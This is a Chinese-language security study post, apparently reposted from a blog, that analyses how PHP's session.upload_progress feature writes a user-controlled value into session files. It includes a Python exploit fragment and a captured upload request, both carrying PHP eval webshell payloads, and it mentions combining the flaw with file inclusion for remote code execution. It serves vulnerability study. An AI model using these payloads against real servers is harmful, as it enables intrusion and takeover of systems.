Session简述
安全的开发是编程,学习资料:php中文网和PHP手册。
从程序的设计、功能场景的实现细节、漏洞点、漏洞利用来探析漏洞原理。
会话机制(Session)用于保持用户连续访问Web应用时的相关数据。
创建独享的session文件,存储用户数据,取出数据为用户服务。
本地PHP的默认配置:
解释配置参数
php.ini的部分会话配置选项:
场景 | 名字 | 默认 |
---|---|---|
会话存储路径 | session.save_path | “” |
(返回)指定会话名 | session.name | “PHPSESSID” |
会话处理器 | session.save_handler | “files” |
自动开启会话 | session.auto_start | "0"不启动 |
php.ini中文件上传的相关配置参数
场景 | 名字 | 默认 |
---|---|---|
上传进程索引 | session.upload_progress.prefix | “upload_progress_” |
上传进程名称 | session.upload_progress.name | “PHP_SESSION_UPLOAD_PROGRESS” |
漏洞原理探究
功能设计和实现细节
(1)session.save_x参数,只有2个
应用场景:
A.设置处理器handler
,用于获取/储存关联session数据,默认是files
。
B.需要设置一个参数,向处理器提交session储存路径。当处理器默认时,储存路径默认为/tmp
。
实现细节:使用.save_handler
定义一个处理器,返回处理器名称;
使用.save_path
保存session存储路径,并且向处理器提交路径。
(2)session.upload_progress.x参数,有6个,只看4个
版本信息:该系列功能参数是在PHP5.4.0设计的,搜索php5.3的php.ini,没有找到session.upload
相关的参数。
应用场景:
A. PHP监控每个上传文件的上传进度,用于检查上传状态。
B. 与上传状态对应,文件上传结束后,即在读取所有的POST数据后,PHP会立刻清空存储的上传信息。
C. 监控操作不会主动报告上传信息,需要发送POST请求查看状态,所以为进程设置一个参数,让PHP自动报告上传进度,该参数可控。
实现细节:
A.设置session.upload_progress.enabled
开启监控操作,把上传状态信息储存在$_Session变量
,该变量会被存储在Session文件中。
B.查看上传状态信息:发送包含上传进程变量名
的POST请求,默认进程变量名是PHP_SESSION_UPLOAD_PROGRESS
,PHP检测到请求后会把上传状态数据,添加到$_Session变量
。
查看状态数据:$_Session [init_get("xx.prefix").init_get("xx.name") ]
漏洞点
设计和实现细节,理论上看起来很合理。
从利用脚本反推,为什么传入的上传进程变量
的值会被写入Session文件。
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50) # 写入session文件,会话文件名为sess_sessid
resp = session.post( 'http://127.0.0.1/include.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
问题1:在上传文件的过程中,如果我们发送一个POST请求查看上传状态等信息,程序会执行哪些操作?
解答:程序会把上传信息存储到$_session
变量中,方便用户查看。
问题2:上传信息包含哪些信息?
解答:上传任务的进程名+序列化数据。
脚本实验来查看:首先设置session.upload_progress.cleanup
为Off。
运行漏洞利用的Python脚本,打开保存的Session文件,发现写入了上传文件的进程名和值。即向文件写入session.xx.prefix
和session.xx.name
的值。
问题3:具体过程,手动逐步进行实验?
设置session.upload_progress.cleanup
参数为off,方便查看session信息。
(1)前端界面:编写上传文件的表单,包括上传进程的命名。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>测试</title>
</head>
<body>
<div id="fileUpload">
<form id="upload-form" action="upload.php" method="post" enctype="multipart/form-data" target="hidden_iframe">
<p>
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="file1" />
<input type="file" name="demo">
<input type="submit" value="上传">
</p>
</form>
</div>
(2)拿到标准POST数据:抓取数据包,复制POST数据、复制Content-Type。
POST /upload.php HTTP/1.1
xxx
Content-Type: multipart/form-data; boundary=---------------------------9675903019963782011197582804
Cookie: Hm_lvt_0fba23df1ee7ec49af558fb29456f532=1620301597; security_level=0; PHPSESSID=test
Upgrade-Insecure-Requests: 1
-----------------------------38575131538518730681186755729
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
file1
-----------------------------38575131538518730681186755729
Content-Disposition: form-data; name="demo"; filename="script.php"
Content-Type: application/x-php
<script language="pHp">@eval($_POST[shell])</script>
-----------------------------38575131538518730681186755729--
(3)编写后端PHP文件,测试空文件发现写入session成功。
编写.html后端文件测试不通过。
<?php?>
实验表明,只要我们传入上传文件的表单,PHP就会监控文件上传,并且当POST数据中,包含值为session.upload_progress.name变量值
的变量时,程序就会把进程名、以及上传信息写入会话文件sess_sessid。
(表单变量名称==进程名前缀时,表单变量值==进程名,并写入session)
问题4:为什么会话文件sess_sessid能执行PHP代码?
解答:因为会话文件会被PHP的解析器进行解析,从而获取会话数据。
举个例子,会话文件中的序列化数据,需要被读取并执行反序列化操作。
这一系列操作由PHP解析器执行,因此会解析执行包含其中的PHP代码。
问题5:设计的不足?
解答:从功能上,由于现实中可能会有极大的文件需要上传,因此查看上传信息的功能是无可厚非的。与之相应的,每个上传任务都必须有自己独有的进程名,无可厚非。
但是,上传任务的进程名交给了用户控制,而进程名作为标识会被写入文件,此时就出现了漏洞。当然,用户需要查看自己的上传信息,那可不可以由系统生成进程名,然后把进程名返回给用户?见仁见智。
漏洞利用
文件包含+
结合文件包含漏洞,可以Getshell。详情见本专栏文章《PHP_Session文件上传利用:文件包含》,脚本通过条件竞争来对抗session.upload_progress.cleanup
参数的开启,从而实现RCE。
总结反思
收获
(1)安全基于开发:只有熟悉程序的应用场景、功能设计、以及具体实现细节时,才能更好地挖掘和学习漏洞。
本次漏洞学习,查找了多篇技术文章,估计阅读、梳理、筛选就要花费大半天的时间。技术文章常常是碎片化的,更快的学习方式还是通过书籍细致地了解程序功能的设计原理
、功能的应用场景等。
(2)关于PHP的学习,目前还没有找到合适的资源。
PHP官网的手册,Session部分的上传进程参数的说明比较模糊;
PHP中文网的一些手册,常常是一些基础的应用。
是时候探索PHP社区了。
(3)关于学习方向和方式:
出于CTF比赛以及其他考虑,个人希望能真切地投入到PHP社区中去,
把PHP审计作为目前的主要方向之一,学习PHP编程和设计原理。
参考
《PHP 手册 函数参考 Session 扩展 Sessions 安装/配置 》,
https://www.php.net/manual/zh/session.configuration.php
《session.upload_progress.enabled开启的问题》,2018-06
https://blog.csdn.net/weixin_30539835/article/details/99877597
《利用session.upload_progress进行文件包含和反序列化渗透》
https://www.freebuf.com/vuls/202819.html
转载:https://blog.csdn.net/soldi_er/article/details/117060239